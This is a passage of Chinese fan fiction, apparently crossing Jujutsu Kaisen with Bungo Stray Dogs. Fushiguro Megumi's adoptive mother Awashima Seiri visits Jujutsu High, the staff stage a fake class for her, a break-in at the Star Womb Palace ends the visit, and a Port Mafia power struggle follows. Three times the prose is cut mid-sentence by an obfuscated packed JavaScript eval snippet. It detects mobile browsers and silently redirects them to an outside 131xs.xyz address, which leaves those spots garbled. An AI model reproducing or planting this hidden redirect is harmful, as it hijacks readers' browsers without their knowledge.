淡岛青理打了个响指,一朵跳动的蓝色火焰从她指尖绽放。如果有咒高的人在这里,一定会震惊于这咒力如此熟悉。 “我现在不仅能使用惠的咒力,还能——” 嗞啦—— 椅子骤然移动,与地面发出刺耳的摩擦声。 “所以说从明天开始要加强训练……嗯?”讲台上的五条悟停下讲话,藏在眼罩后的视线投向了突然起立的伏黑惠。 “哎?明明老师我才刚刚开始上课,伏黑同学就已经开始不耐烦了吗?” 同教室的虎杖悠人和原本正在神游的钉崎野蔷薇也投来了疑惑的眼神,“怎么突然站起来?做噩梦了?” 众目睽睽之下,伏黑惠沉默片刻,装作无事发生一样又坐下了:“……没事。” 五条悟才不信呢,他走下讲台凑到伏黑惠身边,弯腰故作神秘地说:“是不是突然回想起少年院发生的事被吓到了?放心放心,不用不好意思,五条老师我最善解人意了,绝对不会告诉别人的!” 旁边的虎杖悠人和钉崎野蔷薇:…… 话是这么说,但你完全没有控制音量啊! 但是管他呢,只要被迫害的人不是自己不就行了? 钉崎野蔷薇大声嘲笑:“不是吧伏黑?这么点事情就给你吓得一激灵?该不会今天回去后要躲在寝室里哭鼻子吧?” 伏黑惠额头冒出来一个井字:“说了没事。” 虎杖悠人睁着无辜的圆眼睛,天真地举起手:“伏黑害怕的话晚上可以来我寝室一起睡。” 伏黑惠:“……都说了没事!” 将捣乱的五条悟推到一边,伏黑惠大步走出了教室。 五条悟:“惠酱害羞了。” 虎杖悠人,钉崎野蔷薇:点头点头。 离开校舍范围的伏黑惠停下脚步,站在屋檐下召唤出了玉犬黑。 毛茸茸的黑色大狗被召唤出来后安静地蹲坐在原地,疑惑地歪了歪头,似乎在思考主人召唤它出来的目的。 伏黑惠打量着玉犬黑,从它额头上的红色三角纹路,到它金色的兽瞳,再到它光亮黝黑的皮毛…… 没有任何异常。 那为什么,刚刚会有失去控制的感觉? 38.第 38 章 此次任务没有学生丧生,这是一件值得庆幸的好事,不过这不代表五条悟能原谅背后算计这一切的老橘子们。 在总监会大闹了一场,气得几个老橘子当场叫医生,五条悟这才算勉强出了口恶气。 顺便,不知道是不是吃错了什么药,总监会的那群老家伙在之后的几天里一直拉肚子,甚至有几个因为脱水进了医院。五条悟得知这个消息后笑得差点扭到腰。 总监会安分了好些天,原本密密麻麻接二连三的任务也终于见底,五条悟得以休息一段时间。 东京咒术高专的操场上,白发青年仰躺在地上,懒洋洋地晒着太阳。 果然人还是要有脾气,不发火真以为他是什么逆来顺受的性格吗?不过想也知道总监会的那些老橘子不会安分太久,一群自以为是的老东西用不了多久就又会上蹿下跳了。 今天也是想暴揍老橘子的一天。 他长呼一口气:“今天天气真好啊~” 旁边并排躺着的虎杖悠人点头表示同意。 这时,一道身影疾驰而来,在他们面前猛地一刹车,带起一片沙尘。 “大事件!” 钉崎野蔷薇握紧拳头,冲着两人大喊:“伏黑被陌生美女搭讪了!” “什么?!” 咻的一声,操场上瞬间没了人影。 五条悟一边奔跑一边说:“可恶,早恋是不对的!作为教师有责任制止!悠仁,野蔷薇,你们去拖住他!老师我去准备B计划!” “是!”虎杖悠仁和钉崎野蔷薇齐声领命。 看着五条老师迅速消失的身影,虎杖悠仁脑海里突然闪过一个疑问:这里是高专啊,哪来的陌生美女? 不过这个疑问刚一冒头,他就已经跟着钉崎野蔷薇跑到了目的地。 只见宿舍楼门前站了两道身影,其中一个是穿着常服的伏黑惠,另一个正如钉崎野蔷薇所说,是一个陌生的美丽女性。 “亲爱的!” 钉崎野蔷薇一个飞扑抱住了伏黑惠,矫揉造作地扭动身体说:“这是谁?是你的新欢吗?你忘了我们曾经一起看星星看月亮的日子了吗?” 虎杖悠仁迅速接上:“难道你跟我说的海誓山盟都不作数了吗?你个负心汉!” 伏黑惠黑了脸:“你们……” “我不听!你这冰冷的嘴唇还要说怎样伤人的话才肯罢休?”野蔷薇一手捂住心口,另一只手伸向天空,面色悲痛,“原来我爱上了一个不该爱的人!这大概就是上天给我的惩罚!” “放开惠!” 伴随着突然响起的bgm,五条悟身穿白衬衫西装裤,闪亮登场! 他戴着墨镜,嘴里叼着玫瑰花摆出了一个潇洒的姿势,头顶的每根发丝都在闪闪发亮! 他语气激昂,动作夸张仿佛舞台上的男主演。 “你们这群狐狸精都离惠远点!惠已经答应了我的邀请,只有我才是……” 精心准备的台词戛然而止,因为他结束了故意扭头耍帅的造型,看清了伏黑惠对面女子的脸。 熟悉的面孔冲他弯眉浅笑:“好久不见,悟,你还是这么有活力。” 一个五条悟淡淡地碎掉了。 他关掉还在播放音乐的手机,轻咳一声,装作什么都没发生的样子打招呼:“呦,是青理酱啊,好久不见!” 还维持着苦情戏姿势的两个一年级生呆住了。 “唉?!” 钉崎野蔷薇反应过来:“不是,你们认识啊?” 尴尬得耳朵尖都发红的伏黑惠表面平静,实际上脚趾抓地。他推开两人,面无表情语气冰冷地说:“你们几个,又在胡闹什么?” 五条悟点头:“就是就是,野蔷薇,悠仁,你们怎么能开这种玩笑呢?” “哈?”钉崎野蔷薇眉头挑得高高的,比划了一下拳头,“你个无良教师装什么无辜呢?” 五条悟直接当作没听见:“给你们介绍一下,这位是淡岛夫人,是惠的妈妈哦。” 虎杖悠仁,钉崎野蔷薇:完蛋!舞到人家家长面前了! 两人反应过来后连连鞠躬道歉:“不好意思,我们刚刚只是在开玩笑!冒犯了,非常对不起!” 淡岛青理摆摆手,笑得非常开心:“没关系,很开心看到你们和惠相处融洽。” 作为一个合格的妈妈,淡岛青理一直很关心惠在学校的生活。不只是生活环境,还有人际交往。 惠是一个温柔的孩子,但是他的温柔只针对特定的人,某种意义上来说他其实本性淡漠。这一点从他在小学国中都没有交到关系要好的朋友这件事上就能看出来。 但是,她的目光不动声色地扫过着眼前充满元气的少年们,看来是她多虑了,惠在这里已经有了同伴。 淡岛青理今天穿了一件素雅的白色长裙,平时总是或扎成辫子或盘起的头发披散着,长长的黑色卷发像海藻一样。 这身打扮与她平时的形象大为不同,显得她更加年轻了,也难怪钉崎野蔷薇会误会。 “所以青理酱今天怎么没穿和服了?我还是第一次见你穿常服。” 五条悟觉得,自己没能第一眼认出她来,她的穿着要负全部责任。 淡岛青理单手抚在脸侧,歪着头有些不好意思地说道:“因为担心惠的同学和朋友觉得和服太老气,我怕会给小惠丢脸呢。” 五条悟:“唔,虽然不会有人在意那个啦,但青理酱这个打扮确实很洋气哦。” 钉崎野蔷薇和虎杖悠仁同步竖起大拇指,表示真诚的肯定。 “不过,”五条悟盯着她的长卷发,发出疑问,“青理酱原来是卷发吗?那平日里是怎么做到把头发扎得那么整齐的?” 众所周知,自来卷是很难打理的。如果想要盘起或编成辫子,整齐干净没有碎发基本不可能。 所以五条悟合理怀疑,青理酱的头发是今天烫的! “确实是今早新烫的发型啦,不好看吗?”淡岛青理微微歪头,黑色的卷发顺着她的动作垂落胸前。这可是莉帕同款卷发! 抛开直发卷发的问题,虎杖悠仁意识到现在他们面临了一个巨大的考验。 伏黑曾经和他们说过,他的家人都是普通人,不知道咒术界的存在。那么试问,究竟哪个正经学校一个年级只有三个学生? 五条悟也意识到了这一点,一边在裤子口袋里用手机盲打给众人发消息,一边发出疑问:“我们学校还是很难找的吧?青理酱怎么找过来的?” “哦,那个啊,”淡岛青理回忆,“是一位瘦瘦高高穿黑西装戴眼镜的先生带我进来的,我在山脚遇见了他。我自我介绍说是惠的妈妈,还给他看了我和惠的合照,他就带我进来了。” 很好,伊地知今晚睡觉最好两只眼睛轮流站岗。 五条悟暗自咬牙。 “惠不领我参观一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890623|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们的学校吗?”淡岛青理十分期待。 在津美纪和惠小时候,学校的参观日或者活动节她还有去过。但是两人上了国中以后就不肯再让她去学校了,也不知道为什么。 在开学典礼上给每个家长分享了两人小时候糗事的淡岛青理很没自知之明地想。 伏黑惠压力山大,他把求助的目光投向了五条悟。 五条悟正要向他示意没问题,已经搞定了。伏黑惠却醒悟过来指望他没用,先一步移开了目光。 五条悟再次淡淡地碎掉了。 还是虎杖悠仁提议,不如先去参观宿舍怎么样?正好他们就在宿舍楼下。 淡岛青理欣然同意。 咒高的学生虽然不多,但是宿舍却建了不少,也不知道是不是为了方便坑总监会的建设款。 总之,得益于这些宿舍,众人总算是没有露馅。 五条悟走在前面带路,边走边说:“青理酱来得不巧,今天大部分学生和老师都外出参加交流会去了,留在学校的不多。不过都是一年级的学生,青理酱之后可以去见一见。” “交流会?”淡岛青理故意问,“是交流什么的呢?” 五条悟:“那个那个啊,就是那个那个!” 糟糕,他一时间想不起来他们学校对外说是教什么的了。硝子究竟是怎么跟青理酱说的? 伏黑惠接话:“是和其他宗教组织的交流会,讨论一些宗教问题。” “这样啊,那惠为什么没去呢?” 伏黑惠:“只有二三年级的前辈们可以去,一年级要留校。” 看不出来,小惠撒起谎来竟然这么云淡风轻。 淡岛青理沉思,开始怀疑自己以前有没有被骗过。 一路上虎杖悠人很热情地给淡岛青理讲述伏黑惠在学校的情况,并且非常不吝啬自己的夸奖。 “……然后伏黑就在我要摔倒的时候拽住了我!伏黑超可靠的!” 粉色短发的少年穿着藏蓝色连帽衫,一双琥珀色的眼睛闪闪发亮,说到激动的地方时还会手舞足蹈地比划。 淡岛青理一路笑眯眯地注视着他,并对他的每句话都给予了高度回应:“是吗,还发生了那种事啊,宗教学校的日常果然和普通学校不一样啊。” 性格同样外向的钉崎野蔷薇也和她聊得很好。 或许是淡岛青理表现出来的特质正中钉崎野蔷薇的好球区,染着一头橙发的叛逆少女在她面前格外乖巧,连说话都轻声细语起来。 “野蔷薇也是离家来东京上学的啊,一个人是不是很辛苦?如果有什么需要可以和我说哦,横滨离这里还不算太远。” 钉崎野蔷薇感动得泪眼汪汪,差点当场认义母。 “啊呀,悠人小时候原来这么淘气啊,真是看不出来,现在的悠人非常优秀哦。”淡岛青理作为端水大师,一视同仁地给予了足够的情绪价值。 “对了对了,你们要不要看惠小时候的照片?我跟你们讲,惠小时候啊……” 身后的伏黑惠出声阻止未果,只能默默地走在后面,看着养母给自己的同期抖自己的黑历史。 三人说说笑笑,相谈甚欢。 挤了好几次都没挤进去的五条悟周身充满怨念,问旁边沉默的黑发少年:“怎么回事?青理酱不是来看我的吗?为什么和他们两个聊得那么起劲?” 同样插不上话的伏黑惠:是来看我的,谢谢。 39.第 39 章 一路说说笑笑,几人很快就到了伏黑惠的宿舍门前。 虎杖悠仁热情地介绍:“这就是伏黑的卧室,我的宿舍就在伏黑隔壁!” 推开宿舍的门,淡岛青理对咒高的住宿条件有了更为具体的认识。独立单间,家具齐全,相当高的住宿标准。 “这下你可以放心了吧?”五条悟相当主动地给她展示房间,自然的就像是自己的房间一样。 他龇牙一笑,比了个大拇指:“夜蛾校长从来不会克扣经费,学校的食宿可都是相当不错的!” 淡岛青理笑了一下,她知道这里面也有不少是五条悟的注资。 从伏黑惠的宿舍出来,淡岛青理表示想要去他们的校舍看看。 “没问题!” 这次五条悟抢占了先机,挤到淡岛青理旁边,把虎杖悠人和钉崎野蔷薇都推到了后面去和伏黑惠做伴。 白发青年双手背在身后,一蹦一跳地走在前面,时不时回头向白裙女子手舞足蹈地比划什么,快乐得像一只扑蝴蝶的猫。 “好恶心啊,这个一脸蠢样的眼罩笨蛋。” 一年级的三人远远跟在身后,钉崎野蔷薇有被五条悟蠢到,耷拉着眉头,感觉有些丢脸。 还好吧?五条老师不是一直这个样子吗?虎杖悠人单手插兜走在后面,对五条老师的表现习以为常,他对淡岛夫人更感兴趣一点。 “伏黑的妈妈看起来好年轻,冒昧问一下,她多少岁啊?” 虎杖悠人是个很喜欢接触新鲜事物的少年,与人谈话时也难免会带出一些稀奇古怪的新东西,但是刚刚的谈话间无论他说起什么淡岛夫人都能接上话,交流起来没有一点代沟,这让虎杖悠人感觉很新奇。 走在旁边的伏黑惠仍然是话最少的那一个,并没有因为淡岛青理的到来变得活泼。他望着前面有说有笑的两人,随意地回答:“不知道。” “哎?!”虎杖悠人惊疑一声,很快就被钉崎野蔷薇捂着嘴憋了回去。 他用力拨开野蔷薇的手,看看前面没有被惊动的两人,低声凑近说:“你未免太不关心你的妈妈了吧?” 从小和爷爷相依为命,所以格外看重亲情的虎杖悠人不能理解伏黑惠漫不经心的态度,他觉得这未免有些过分冷漠了。 事情并不是他想的那样,伏黑惠很认真地给两人提出忠告:“淡岛夫人很介意提到自己的年龄,你们最好也不要问她这个问题。” 钉崎野蔷薇一砸掌心:“果然,年龄永远是美女的秘密!” 虎杖有人虽然不理解,但相当自然地接受了,接着问:“看起来淡岛阿姨和五条老师关系很好的样子,他们很久之前就认识吗?” 他的话唤起了伏黑惠的一些回忆,“……嗯,在我小的时候他们就认识了。那时候五条老师还在读高中。” 高中时的五条老师远比现在还要让人心梗,嚣张起来是真的唯我独尊。能忍受那时候的五条老师,淡岛夫人在心态上已经赢过绝大部分人了。 虎杖悠人举手提问:“这么说伏黑已经被收养很久了吧?为什么还一直称呼她‘淡岛夫人’?听起来怪生疏的。” “就是啊,”钉崎野蔷薇附和,“要不是你这种态度我一开始也不会搞错啊!” 钉崎野蔷薇完全是在强词夺理,她当时就远远看了一眼,连一个字都没听到就跑去报信了。 伏黑惠没有回答。 少年面色有几分凝滞,目视前方,眼底是旁人看不懂的神色。 钉崎野蔷薇和虎杖悠人对视了一眼,默契地转移了话题。 领着几人走在通往校舍的路上,靠谱的五条老师在介绍沿途建筑之余还不忘冲身后的几人比了一个“放心”的手势。 “这边是我们学校的操场,是不是特别大?学生们会在这里锻炼身体做运动,宗教学校也要让学生们的身心健康全面发展!” 与森林相接的巨大操场确实远超普通学校的规模,淡岛青理在地面上发现了不少打斗痕迹,看来不久前还有人在这里对战。 五条悟:“啊,不要在意那个大坑,那里正在挖地基。” 目测那个直径十米的坑是被轰出来的,淡岛青理笑着问:“那是要在操场上建什么呢?” 思索两秒,五条悟双手插兜吹口哨:“我也不知道呢,一会儿遇见夜蛾校长的话可以问问他。” 正在指挥咒骸搬动桌椅的夜蛾正道可不知道自己的学生给自己揽了这么一个活计。 “那边的建筑是道场,学生们可以在那里打坐悟道。” 作为格斗训练场所的建筑也不知道自己还多出了这么一个功能。 校舍的走廊内,身形高大的国字脸男人从走廊的窗户望出去,远远地能看见几个人影正向这边走来,走在五条悟身边的是一个身穿白裙披散着黑色长卷发的年轻女子。 夜蛾正道此时怒火正旺。 五条悟那混小子又自作主张!带人来学校参观竟然没有跟他报备,还发信息让全校陪他一起演戏,简直是胡闹! 注意到五条悟几人带着陌生的女子越走越近,他让咒骸全都藏起来,自己下楼去迎接。 淡岛青理跟着五条悟的脚步走进校舍的大门,身边的青年正在叽叽喳喳地说夜蛾正道的坏话。 “夜蛾校长长得很凶,超级吓人。不过青理酱不用害怕,如果他要揍你的话我会拦着他的!” 淡岛青理笑眯眯地回答:“那就先谢谢悟了。” 还没有见到夜蛾正道,通往二楼的楼梯上先走下来一个背着宽大乐器包梳着高马尾的姑娘。 钉崎野蔷薇最先注意到她,欢快地摆摆手:“中午好啊,真希姐!” 推了推眼镜,禅院真希平静回答:“中午好,钉崎同学。” 钉崎野蔷薇:“……哈?”这是什么新称呼? “铛铛铛铛!”五条悟一个闪身来到禅院真希身前,双手手掌向上摆出一个展示的姿势,“给青理酱介绍一下,这位是禅院真希,也是惠的同学!” 在去宿舍之前,五条悟就给所有人发送了短信,今天学校里除了老师在外的所有人,都是伏黑惠的同学! 为了不穿帮,他还给夜蛾发了消息,让他按照报名人数在一年级的教室里摆放好对应数量的桌椅。 他可真是考虑周全! 伏黑惠沉默两秒,在淡岛青理身后给五条悟比了个大拇指。五条老师难得有靠谱的时候,值得肯定。 禅院真希,东京咒术高专二年级学生。出身禅院家,算起来还是伏黑惠的堂姑。 回忆着中介给的资料,淡岛青理笑着说:“你好真希同学,感谢你对惠的照顾。” “哦……”莫名其妙的感谢,让禅院真希有一瞬间怔愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895287|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>反应过来后,她拽了拽背包的肩带:“没什么,您严重了,同学之间就是要相互照顾的。对不对,钉崎?” 钉崎野蔷薇立刻回答:“没错!青理姐你放心,我们的同学关系可是相当融洽的!” 啊?叫姐吗?不太好吧? 虎杖悠人看了看伏黑又看看钉崎,抓着脑袋一脸纯良地问:“应该叫青理阿姨才对吧……”话音刚落腹部就挨了一肘击。 钉崎野蔷薇表示,美女的事你少管。 关于伏黑惠的养母,禅院真希多少听说过一些。毕竟能从禅院家夺走伏黑惠的抚养权,光这一点就值得她敬佩。 虽说禅院家能放手主要还是靠五条悟帮忙谈判施压,但一个普通人能有对抗禅院这样一个大家族的勇气,已经很了不起了。 而且能一下子拿出十亿日元也不是什么简单的事。不过听说似乎是什么大家族的遗孀,手握大量遗产也不足为奇。 还真是好命啊,伏黑那家伙。 “我还有事,抱歉先走了,夜蛾校长马上到。”禅院真希向几人点头示意,然后向门外走去。 在她的身后,五条悟挥舞着小手绢和她拜拜。 从几人身边走过,一缕似有若无的香气从白裙女人身上传来,轻柔地擦过了鼻尖——禅院真希猛然睁大了双眼。 那个味道…… 走出教学楼,她停下脚步站定,转身回望。 透过敞开的大门,建筑的阴影里,白裙女人正无知无觉地站在厅中与人交谈,对面的五条悟似乎说了什么搞怪的话,她抬手捂住嘴,笑得花枝乱颤。 一切都那么和谐。 可是那个味道…… 禅院真希握紧背包肩带。 不会错的,那个味道她绝对没有记错! 去年冬季,咒术高专,混杂在血腥味和香火气之间的,那个叫夏油杰的诅咒师身上的味道! 深深地看了一眼正在手舞足蹈的五条悟,她握紧拳头向道场走去。 “现在很少见到全木制的校舍呢,很漂亮。”站在木质的长廊上,淡岛青理发出感慨。 虎杖悠人同意:“不过很不结实就是了。” “咒术高专具有悠久的历史,这些建筑虽然翻新过,但有些还保留原样,值得参观。”随着低沉的声音出现,走廊拐角处传来脚步声,身形高大面容方正的男人出现在淡岛青理面前。 “您好,我是咒术高专的校长,夜蛾正道。” 男人有着一脸络腮胡,眉眼粗犷,确实是带着些凶相。但是气质沉稳周正,是一个有些严厉的好人。 淡岛青理弯腰鞠躬,礼数十足:“您好,我是伏黑惠的妈妈,淡岛青理。冒昧前来打扰失礼了,感谢您对惠的照顾。” “哪里,”夜蛾正道微微侧身躲过这一礼,声音低沉且威严,“伏黑君是一名非常优秀的学生,我应当感谢您对我们的信任,愿意将伏黑君托付给我们。” “好啦好啦,”五条悟凑到两人中间,“那么严肃干什么?” 他推着淡岛青理往前走:“面也见了,招呼也打了,不用再理夜蛾啦,我们赶紧去看惠的教室吧!” “哎?”淡岛青理一个不察被他推了个趔趄。 伏黑惠立刻对五条悟投来了不满的视线。 五条悟:“……好了好了我知道错了,我们快点走吧。” 40.第 40 章 几人的身影消失在拐角处,夜蛾正道身边的门唰的一声被拉开,从里面探出两颗白色的脑袋。 夜蛾正道早就察觉到了两人的存在,但还是问了一句:“你们怎么在这?” 熊猫搓着毛茸茸的手掌,嘿嘿笑着:“听说惠的妈妈来学校了,我们来看看。” 狗卷棘点头:“鲑鱼鲑鱼!” 咒术高专的学生本来就不多,其中大部分还是咒术世家出身,很少会有普通人父母。至于前往高专来参观的,惠的妈妈更是头一个。 “惠的妈妈可真漂亮,又美丽又温柔。” “鲑鱼鲑鱼。” “话说棘你怎么不去教室?你不是应该扮演惠的同学吗?” 狗卷棘指了指自己的嘴:“木鱼花。” 他是一名咒言师,说出口的话都带着咒力。为了不误伤别人,他平时说话都用一些无意义的名词来代替,还自创出了一种饭团语。但是对于不知情的人来说会很奇怪吧,这样去见伏黑的妈妈会很失礼。 熊猫推了推他:“没关系,到时候就让悟说你感冒了不能说话就好。高专总共就这么几个学生,你不去那不是又要少一个吗?” 狗卷棘想了想,觉得他说得有道理。最重要的是其实他也不想错过这个热闹,于是立刻翻出窗户爬窗上了二楼。 不久前,大家都接到五条悟的短信,校内的闲散人员纷纷兴致勃勃地聚了过来。高专出现生人的时候不多,听说来的还是伏黑惠的妈妈,众人带着一种排队看中华大熊猫的心态,争着抢着要扮演伏黑惠的同学。 这不是超有意思的吗?可比训练有趣多了! 所以当淡岛青理来到教室门口,透过半开的推拉门,就看见了教室里整齐的桌椅和坐在桌椅上的各式各样的人。 ……有些明显超年龄了吧?! 五条悟摆手:“哎呀,不要在意那些细节,他们只是长得着急了一点,又不是每个人都像五条老师我一样,永远这么年轻帅气!” 教室里是从未有过的热闹,伏黑惠看着站在门边的淡岛青理,询问:“不进去吗?” 淡岛青理凝望着里面喧闹的场景,半晌,笑着摇了摇头:“他们好像很开心的样子,我就不进去打扰了。总之,看见你在这里过得不错我就放心了。” 伏黑惠放松双肩,叹了口气:“拿你没办法,都说了我过得很好。” 话虽这么说,他微微上扬的嘴角却显示他现在心情很好。 淡岛青理:“总要亲眼见到才放心嘛。” 虎杖悠人也是第一次在咒高里见到这么多人,扒着门框向里探头探脑地张望,正好注意到了看过来的狗卷前辈,于是冲他招了招手。 狗卷棘一溜烟地跑了过来。 “棘也在啊,正好,介绍一下,这位是淡岛夫人,惠的妈妈。”五条悟将他推到淡岛青理身前。 向上扯了扯衣领,狗卷棘鞠了一躬,然后指了一下嗓子又摆摆手,示意自己不能说话。 “哦,对了,棘最近感冒了,嗓子不能出声。”五条悟立刻帮忙解释。 “好可爱!”淡岛青理惊呼一声,然后赶忙捂住自己的嘴。 旁边的伏黑惠无奈扶额,明白她的老毛病又犯了。 淡岛夫人特别喜欢孩子,尤其是具有阴郁病弱属性的,简直就是对淡岛夫人特攻。 狗卷前辈穿着宽大的校服,流畅的肌肉线条完全被衣服掩盖,显得他身形瘦弱。微长的白色碎发遮盖了眉眼,鼻梁以下的脸部被衣领遮住,再加上他现在生病不能说话的人设,完完全全就是淡岛夫人心中小可怜的形象。 可想而知淡岛夫人有多喜欢他。 果然,淡岛青理完全不能抵抗,即使知道眼前的少年其实是一名咒言师。 她想伸手去揉一揉男生的白色碎发,又怕太过冒昧吓到他,只能把手放在心口,再开口时声音都不止轻柔了一点。 “你好狗卷同学,我是惠的妈妈。很高兴认识你,你的头发好漂亮。” 因为自己的能力和出身,狗卷棘很少有和女性长辈亲近的经历。他后退两步,脸颊泛红,不知道该做什么回应。 好在五条悟及时替他解了围。 “明明我的头发也是白色的!青理酱都从来没有夸过我!这不公平!”高大的白发青年气得躺在地上直打滚,得不到一个满意的解释就不起来。 “才不是呢,我有夸过你的眼睛很漂亮啊。”淡岛青理反驳。 “那又不一样!总之我吃醋了,青理酱赶快哄我!” 大白猫在地上疯狂打滚,吸引了附近的所有视线。 钉崎野蔷薇为了在美女面前维护自己的形象,握紧拳头咬牙忍耐,低声谴责:“究竟是谁把他惯成这个样子的啊!” 在有人看不下去把五条悟提起来之前,从学校另一侧的森林里突然传来了一波强烈的震动,连带着脚下的校舍都晃了晃。 沉闷的巨响惊动了林鸟,栖息的鸟群受惊后乱叫着飞向天空。 “发生什么事了?!” 所有人都站了起来,远远地望向发生震动的地方。 那个方向是……薨星宫?! 五条悟神色一变,用力关上了教室的门,听着里面传来的破窗声,冷静地对淡岛青理说:“不好意思,青理酱,看来学校里发生了点意外,今天不能继续带你参观了。惠,你送青理酱下山。” 不需要他吩咐,伏黑惠早已拽住了淡岛青理的手腕,立刻带着她向高专的出口处跑去。 奔跑在离开高专的路上,伏黑惠远远看到森林那边几个起伏跳跃的人影在向薨星宫赶去,他咬紧牙关,提防可能会出现的袭击。 发生了什么?难道是有敌人进入了高专?怎么可能,天元大人的结界为什么没反应? 究竟是谁,为什么偏偏挑今天这个时候? 他一边奔跑一边注意淡岛青理的状态,好在她虽然呼吸急促,但还能跟得上。 “下山之后立刻打车离开,最近不要再来高专了。” “为什么?”淡岛青理一边大口喘气一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899663|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,“高专会有危险吗?” “别担心,只是进了小偷,五条老师会处理好的。只是最近学校有很多事情要忙,没有时间招待你。” 离开高专的结界范围,伏黑惠也没能放下心,他一路把淡岛青理送到山脚,还给她叫了一辆出租车。 “我给你的护身符你还戴着吗?” 淡岛青理从衣服里扯出黑色的吊坠,“戴着呢。” “嗯,戴好,无论什么时候都不要摘下来。” 叫的出租车很快就到了,伏黑惠给她打开车门,最后叮嘱了她几句,然后转身向山上跑去。 伏黑惠的速度很快,转瞬就消失在了淡岛青理的视野里。 出租车后座的门还开着,司机大叔从车窗探出头来:“我说小姑娘,你还坐不坐?” 从手提包里抽出一沓纸钞递过去,淡岛青理说:“抱歉师傅,你先走吧,我等人。”说完还贴心地把车门给司机关上了。 司机捏着厚厚的一沓万元钞票,嘴里的话转了几转,最后只憋出一句:“嘿,真是个怪人。” 出租车背影欢快地离开了,淡岛青理倚在路边的大树上摆弄手机。 没过多久,头顶的树叶沙沙地抖动几下,一个银发黑裙的萝莉从树上跳了下来。 莉帕落地后先是摘掉头顶的树叶,理了理凌乱的头发和衣摆,然后举起手里的锥形水晶瓶:“你要的东西,到手了。” …… 手起刀落,腥臭的鲜血喷薄而出。 曾经横行整个横滨的暴君终于迎来了他的落幕——在病床之上被信任的医生亲自手刃。 挥刀向他人者最终死于刀下,因果轮回,报应不爽。 ——那么,谁会是我的报应呢? 用手帕擦掉手术刀上的血,森鸥外望向角落里的少年。 “首领病逝,传位予我。太宰君,你就是唯一的见证人。” 一夜之间,港口黑手党的首领更替成为了横滨的热门话题。 了解此事的人议论纷纷,接触不到这件事的人也感受到了局势的变幻。对于大部分普通人来说,最直观的感受大概就是疯狗一样四处攀咬的港口黑手党终于安静下来,收回了四处作乱的爪牙。 港口黑手党当然没了作乱的心情,内乱已经让他们忙得不可开交。 首领的位置竟然被传给了一个医生,但凡是有脑子的人都不会相信森鸥外的说法。即使有人作证又怎样呢?一个十四岁的孩子,说出的话定然是森鸥外想让他说的。 忠诚的首领党认为是他杀害了首领,纷纷要替首领报仇。其他觊觎首领之位的人也混迹其中,坚决不肯承认森鸥外为首领。 并没有多少人觉得森鸥外能成功上位。一个医生,拿什么参与黑手党的争端? 可让他们没想到的是,森鸥外竟然在不知不觉间拉拢了不少支持者,其中就包括拥有“金色夜叉”的尾崎红,这让原本清晰的局势变得僵持不下。 当淡岛青理回到横滨时,这场争夺战已经持续了三天。 41.第 41 章 「镭钵街来了个杀神。 甚至不需要刻意转告,擂钵街的每个人都得知了这个消息。 ——不要去惹那个黑发灰眼的女人,零落在街边的尸体是最好的警告。 当不信邪的人死了一波又一波之后,再没有人去质疑这个忠告。 女人总是一袭黑衣行走在黑夜里,身上唯二的色彩就是那双深灰色的眼睛和鲜艳的红唇。 有人说,那女人的眼睛是竖瞳。 没有人能证实这则传言的真假,因为与那双眼睛对视过的人大多都已命丧黄泉。 不过,人们还是愿意相信这个传言。他们在暗地里称那个女人是乌鸦——代表恶魔的报丧鸟。 在擂钵街,贪生怕死并不可耻,它是生存的必要条件。 没有人再去招惹那个女人,每个人都在等,等一个对自己有利的转机。 这个转机很快就出现了。 在一个阴雨天,一个男人带着一名少年来到乌鸦的巢穴,敲响了房门。 “好久不见,”当房门被打开时,身上还滴着水的少年向屋内的女人露出了一个近乎天真的笑,“我来找你了,姐姐。” 鸢色的瞳孔撞入灰色的眼眸,女人松开握着武器的手,略显迟缓地眨了眨双眼。 已经在记忆中淡去的身影出乎意料地出现在眼前,褪色的记忆重新鲜明起来。 六年前,女人抛弃过一个小孩。 说是抛弃也并不准确,那个孩子与她无亲无故,只是一个有些古怪的人类幼崽。 那时的她身陷囹圄,满身血污,杀伐的本能撕扯着她的理智,她用尽全部理智去对抗毁灭的冲动,终日于痛苦中挣扎。尽管并不想承认,但幼崽的出现确实算是她漫长苦痛中唯一的消遣。 所以当她离开时,没有选择杀掉他。 只是为什么会蠢兮兮地粘上来了呢?说着什么带他走的话,难道她看上去是什么会对小孩心软的好人吗? 那时的她残忍地拒绝了男孩的请求,没有在意男孩的沉默,毅然决然地离开了。 有人对她说过,离开囚禁的牢笼,去看看外面的世界。 可是,外面似乎也没有什么区别。 六年,她去过很多地方。 陌生的世界,同样的无聊。 原来,人类就是一群和天使恶魔差不多的生物。 